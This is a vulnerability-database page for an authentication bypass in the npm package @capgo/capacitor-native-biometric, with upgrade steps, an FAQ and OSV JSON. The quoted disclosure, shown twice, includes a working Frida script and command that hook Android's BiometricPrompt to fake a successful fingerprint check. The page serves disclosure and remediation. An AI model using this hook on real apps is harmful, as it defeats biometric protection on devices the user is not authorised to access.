Vulnerabilities in pkg:npm/@capgo/capacitor-native-biometric

PACKAGE
Advisory Summary

GHSA-vx5f-vmr6-32wf is a MODERATE authentication bypass vulnerability (CWE-287: Improper Authentication) affecting @capgo/capacitor native biometric libraries in the npm ecosystem. The issue involves cap-go/capacitor-native-biometric authentication bypass. Remediation is available by upgrading affected packages to version 8.3.6.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@capgo/capacitor-native-biometric

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@capgo/capacitor-native-biometric. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-vx5f-vmr6-32wf - MODERATE cap-go/capacitor-native-biometric Authentication Bypass

GHSA-vx5f-vmr6-32wf at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-vx5f-vmr6-32wf
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-287: Improper Authentication
Affected Product @capgo/capacitor native biometric
Package Ecosystem npm
Published Date
Last Updated

How to Fix GHSA-vx5f-vmr6-32wf

To remediate this vulnerability, upgrade all affected @capgo/capacitor native biometric dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@capgo/capacitor-native-biometric fixed: 8.3.6
npm install @capgo/capacitor-native-biometric@8.3.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @capgo/capacitor-native-biometric

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-vx5f-vmr6-32wf, inspect your project dependencies using npm:

npm ls @capgo/capacitor-native-biometric

Analyze the terminal output to locate any version of @capgo/capacitor native biometric in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.3.6), your application is affected.

Note: The npm ls @capgo/capacitor-native-biometric command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In @capgo/capacitor native biometric, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

There is a potential issue with the [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library. --- ## Summary The [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library was found to be subject to an authentication bypass as the current implementation of the `onAuthenticationSucceeded()` does not appear to handle a `CryptoObject`[^HackTricks1] [^SecuringBiometricAuthentication] as seen in the following code block starting from [line 88 in AuthActivity.java](https://github.com/Cap-go/capacitor-native-biometric/blob/main/android/src/main/java/ee/forgr/biometric/AuthActivity.java#L88): ```java @Override public void onAuthenticationSucceeded( @NonNull BiometricPrompt.AuthenticationResult result ) { super.onAuthenticationSucceeded(result); finishActivity("success"); } ``` As the current implementation only checks whether `onAuthenticationSucceeded()` was called and does not handle a `CryptoObject` the biometric authentication can be bypassed by hooking the `onAuthenticationSucceeded()` function. ## PoC Video: https://github.com/user-attachments/assets/b7b5a2bc-21dc-4373-b371-84b002dae7a7 ## Environment: The following steps were taken to create and deploy a Capacitor application using the `cap-go/capacitor-native-biometric library` for the purpose of verifying this finding. Note at the time of writing the `npx create-react-app` command broke, so I have provided two ways of creating and deploying the testing environment. Apparently React updated to version 19 caused a dependency issue as seen [here](https://github.com/facebook/create-react-app/issues/13715). If it is not fixed by the time you look at this PoC please use the yarn alternatives. 1. Create a new Capacitor app by opening your terminal and run the following commands to create a new Capacitor app. For the sake of the disclosure I'll be using the name `capgo-poc`: ```sh npx create-react-app capgo-poc --template typescript ``` Yarn Alternative: ```sh npm install --global yarn yarn create react-app capgo-poc --template typescript ``` 2. Install dependencies by navigating into your app's directory and run the following command to install Capacitor's core dependencies: ```sh cd capgo-poc npm install @capacitor/core npm install @capacitor/cli npm install @capacitor/android npm install @capgo/capacitor-native-biometric npm install react ``` Yarn Alternative: ```sh cd capgo-poc yarn add @capacitor/core yarn add @capacitor/cli yarn add @capacitor/android yarn add @capgo/capacitor-native-biometric yarn add react ``` 3. Initialise the project using the name `capgo-poc` and `com.capgo.poc`, and add the android platform by running the following commands: ```sh npx cap init npx cap add android ``` 4. Configure the android permissions by opening the `android/app/src/main/AndroidManifest.xml` file and add the necessary permissions: ```xml <uses-permission android:name="android.permission.USE_BIOMETRIC" /> <uses-permission android:name="android.permission.USE_FINGERPRINT" /> ``` 5. Implement Biometric Authentication, here is some basic code to use the biometric authentication feature. Modify the TSX file called `App.tsx` in `src/` and import the following code: ```js import React, { useState } from 'react'; import { NativeBiometric } from '@capgo/capacitor-native-biometric'; const App = () => { // State to hold authentication status const [authStatus, setAuthStatus] = useState<string | null>(null); // Function to authenticate the user const authenticateUser = async () => { try { const result = await NativeBiometric.verifyIdentity({ reason: 'For an application access', title: 'Log in', subtitle: '', description: 'Verify yourself by biometrics', useFallback: true, maxAttempts: 3, }).then(() => true) .catch(() => false); if (!result) { setAuthStatus('failed'); } else { setAuthStatus('success'); } } catch (error) { console.error('Error during biometric verification:', error); setAuthStatus('error'); } }; return ( <div> <h1>CAP-GO Capacitor Native Biometric Authentication</h1> <button onClick={authenticateUser}>Authenticate with Biometrics</button> {/* Conditionally render based on authentication status */} {authStatus === 'success' && <h2>CAP-GO Capacitor Native Biometric Authentication Success</h2>} {authStatus === 'failed' && <h2>CAP-GO Capacitor Native Biometric Authentication Failed</h2>} {authStatus === 'error' && <h2>Error during authentication</h2>} </div> ); }; export default App; ``` 6. Build the React project, synchronise it with the Android platform, and open the native Android project in Android Studio by running the following commands: ```sh npm run build npx cap sync android npx cap open android ``` Yarn alternative: ```sh yarn build npx cap sync android npx cap open android ``` ## Exploitation: For the purpose of demonstrating the vulnerability we will be using frida and a rooted emulator from android studio. Frida is a dynamic instrumentation toolkit used as part of pentesting mobile applications [^frida]. Note that a rooted emulator is not necessary, but is being used for simplicity to demonstrate the vulnerability. 1. Copy the below frida script to a JavaScript file and run it to hook the `onAuthenticationSucceeded()` function, abusing the `null CryptoObject`. This can be done by running the following command: ```sh frida -U -l <PAYLOAD> -n 'capgo-poc' ``` ### Payload ```js Java.perform(function () { hookBiometricPrompt(); }); function getBiometricAuthResult(resultObj, cryptoInst) { var authenticationResultInst = resultObj.$new(cryptoInst, 0); return authenticationResultInst; }; function getBiometricPromptResult() { var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject'); var cryptoInst = cryptoObj.$new(null); var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult'); var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst); return authenticationResultInst }; function hookBiometricPrompt() { var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback'); console.log("Hooking BiometricPrompt.authenticate()..."); biometricPrompt.implementation = function (cancellationSignal, executor, callback) { var authenticationResultInst = getBiometricPromptResult(); callback.onAuthenticationSucceeded(authenticationResultInst); } }; ``` [^SecuringBiometricAuthentication]: https://www.kayssel.com/post/android-8/ [^HackTricks1]: https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android#method-1-bypassing-with-no-crypto-object-usage [^frida]: https://frida.re/

GHSA-vx5f-vmr6-32wf Affected @capgo/capacitor native biometric Versions

1 component(s)
Fixed Versions:
8.3.6
Product / Package Ecosystem Affected Versions Fixed Version
@capgo/capacitor-native-biometric
npm
< 8.3.6
8.3.6

References

Frequently Asked Questions

What is GHSA-vx5f-vmr6-32wf?
GHSA-vx5f-vmr6-32wf is a security vulnerability in @capgo/capacitor native biometric involving cap-go/capacitor-native-biometric Authentication Bypass under CWE-287: Improper Authentication.
Which @capgo/capacitor native biometric versions are affected?
Affected versions include releases prior to 8.3.6 across affected packages: @capgo/capacitor-native-biometric.
What version fixes GHSA-vx5f-vmr6-32wf?
Upgrading to 8.3.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @capgo/capacitor-native-biometric affected?
Yes, @capgo/capacitor-native-biometric is affected in releases prior to 8.3.6. Upgrade your dependency to 8.3.6 or later.
What CWE is associated with GHSA-vx5f-vmr6-32wf?
GHSA-vx5f-vmr6-32wf is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check npm dependencies for GHSA-vx5f-vmr6-32wf?
Run the dependency tree command: 'npm ls @capgo/capacitor-native-biometric'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vx5f-vmr6-32wf",
  "modified" : "2026-02-12T20:25:16Z",
  "published" : "2026-02-10T14:33:50Z",
  "aliases" : [ ],
  "summary" : "cap-go/capacitor-native-biometric Authentication Bypass",
  "details" : "There is a potential issue with the [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library. \n\n---\n\n## Summary\n\nThe [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library was found to be subject to an authentication bypass as the current implementation of the `onAuthenticationSucceeded()` does not appear to handle a `CryptoObject`[^HackTricks1] [^SecuringBiometricAuthentication] as seen in the following code block starting from [line 88 in AuthActivity.java](https://github.com/Cap-go/capacitor-native-biometric/blob/main/android/src/main/java/ee/forgr/biometric/AuthActivity.java#L88):\n\n```java\n@Override\n    public void onAuthenticationSucceeded(\n        @NonNull BiometricPrompt.AuthenticationResult result\n    ) {\n        super.onAuthenticationSucceeded(result);\n        finishActivity(\"success\");\n    }\n```\n\nAs the current implementation only checks whether `onAuthenticationSucceeded()` was called and does not handle a `CryptoObject` the biometric authentication can be bypassed by hooking the `onAuthenticationSucceeded()` function. \n\n## PoC Video:\n\nhttps://github.com/user-attachments/assets/b7b5a2bc-21dc-4373-b371-84b002dae7a7\n\n## Environment:\n\nThe following steps were taken to create and deploy a Capacitor application using the `cap-go/capacitor-native-biometric library` for the purpose of verifying this finding. Note at the time of writing the `npx create-react-app` command broke, so I have provided two ways of creating and deploying the testing environment. Apparently React updated to version 19 caused a dependency issue as seen [here](https://github.com/facebook/create-react-app/issues/13715). If it is not fixed by the time you look at this PoC please use the yarn alternatives. \n\n1. Create a new Capacitor app by opening your terminal and run the following commands to create a new Capacitor app. For the sake of the disclosure I'll be using the name `capgo-poc`: \n\n```sh\nnpx create-react-app capgo-poc --template typescript\n```\n\nYarn Alternative:\n\n```sh\nnpm install --global yarn\nyarn create react-app capgo-poc --template typescript\n```\n\n2. Install dependencies by navigating into your app's directory and run the following command to install Capacitor's core dependencies:\n\n```sh\ncd capgo-poc\nnpm install @capacitor/core \nnpm install @capacitor/cli \nnpm install @capacitor/android\nnpm install @capgo/capacitor-native-biometric\nnpm install react\n```\n\nYarn Alternative:\n\n```sh\ncd capgo-poc\nyarn add @capacitor/core \nyarn add @capacitor/cli \nyarn add @capacitor/android\nyarn add @capgo/capacitor-native-biometric\nyarn add react\n```\n\n3. Initialise the project using the name `capgo-poc` and `com.capgo.poc`, and add the android platform by running the following commands:\n\n```sh\nnpx cap init\nnpx cap add android\n```\n\n4. Configure the android permissions by opening the `android/app/src/main/AndroidManifest.xml` file and add the necessary permissions:\n\n```xml\n<uses-permission android:name=\"android.permission.USE_BIOMETRIC\" />\n<uses-permission android:name=\"android.permission.USE_FINGERPRINT\" />\n```\n\n5. Implement Biometric Authentication, here is some basic code to use the biometric authentication feature. Modify the TSX file called `App.tsx` in `src/` and import the following code:\n\n```js\nimport React, { useState } from 'react';\nimport { NativeBiometric } from '@capgo/capacitor-native-biometric';\n\nconst App = () => {\n  // State to hold authentication status\n  const [authStatus, setAuthStatus] = useState<string | null>(null);\n\n  // Function to authenticate the user\n  const authenticateUser = async () => {\n    try {\n      const result = await NativeBiometric.verifyIdentity({\n        reason: 'For an application access',\n        title: 'Log in',\n        subtitle: '',\n        description: 'Verify yourself by biometrics',\n        useFallback: true,\n        maxAttempts: 3,\n      }).then(() => true)\n        .catch(() => false);\n\n      if (!result) {\n        setAuthStatus('failed');\n      } else {\n        setAuthStatus('success');\n      }\n    } catch (error) {\n      console.error('Error during biometric verification:', error);\n      setAuthStatus('error');\n    }\n  };\n\n  return (\n    <div>\n      <h1>CAP-GO Capacitor Native Biometric Authentication</h1>\n      <button onClick={authenticateUser}>Authenticate with Biometrics</button>\n\n      {/* Conditionally render based on authentication status */}\n      {authStatus === 'success' && <h2>CAP-GO Capacitor Native Biometric Authentication Success</h2>}\n      {authStatus === 'failed' && <h2>CAP-GO Capacitor Native Biometric Authentication Failed</h2>}\n      {authStatus === 'error' && <h2>Error during authentication</h2>}\n    </div>\n  );\n};\n\nexport default App;\n```\n\n6. Build the React project, synchronise it with the Android platform, and open the native Android project in Android Studio by running the following commands:\n\n```sh\nnpm run build\nnpx cap sync android \nnpx cap open android\n```\n\nYarn alternative:\n\n```sh\nyarn build\nnpx cap sync android \nnpx cap open android\n```\n\n## Exploitation:\n\nFor the purpose of demonstrating the vulnerability we will be using frida and a rooted emulator from android studio. Frida is a dynamic instrumentation toolkit used as part of pentesting mobile applications [^frida]. \n\nNote that a rooted emulator is not necessary, but is being used for simplicity to demonstrate the vulnerability. \n\n1. Copy the below frida script to a JavaScript file and run it to hook the `onAuthenticationSucceeded()` function, abusing the `null CryptoObject`. This can be done by running the following command:\n\n```sh\nfrida -U -l <PAYLOAD> -n 'capgo-poc'\n```\n\n### Payload\n```js\nJava.perform(function () {\n  hookBiometricPrompt();\n});\n\nfunction getBiometricAuthResult(resultObj, cryptoInst) {\n    var authenticationResultInst = resultObj.$new(cryptoInst, 0);\n    return authenticationResultInst;\n};\n\nfunction getBiometricPromptResult() {\n    var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');\n    var cryptoInst = cryptoObj.$new(null);\n    var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');\n    var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst);\n    return authenticationResultInst\n};\n\nfunction hookBiometricPrompt() {\n    var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');\n    console.log(\"Hooking BiometricPrompt.authenticate()...\");\n    biometricPrompt.implementation = function (cancellationSignal, executor, callback) {\n        var authenticationResultInst = getBiometricPromptResult();\n        callback.onAuthenticationSucceeded(authenticationResultInst);\n    }\n};\n```\n\n[^SecuringBiometricAuthentication]: https://www.kayssel.com/post/android-8/\n[^HackTricks1]: https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android#method-1-bypassing-with-no-crypto-object-usage\n[^frida]: https://frida.re/",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@capgo/capacitor-native-biometric"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.3.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Cap-go/capgo/security/advisories/GHSA-vx5f-vmr6-32wf"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Cap-go/capacitor-native-biometric/commit/1254602e942f8216e6258f646f0866d8e69c48a5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Cap-go/capgo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-10T14:33:50Z",
    "nvd_published_at" : null
  }
}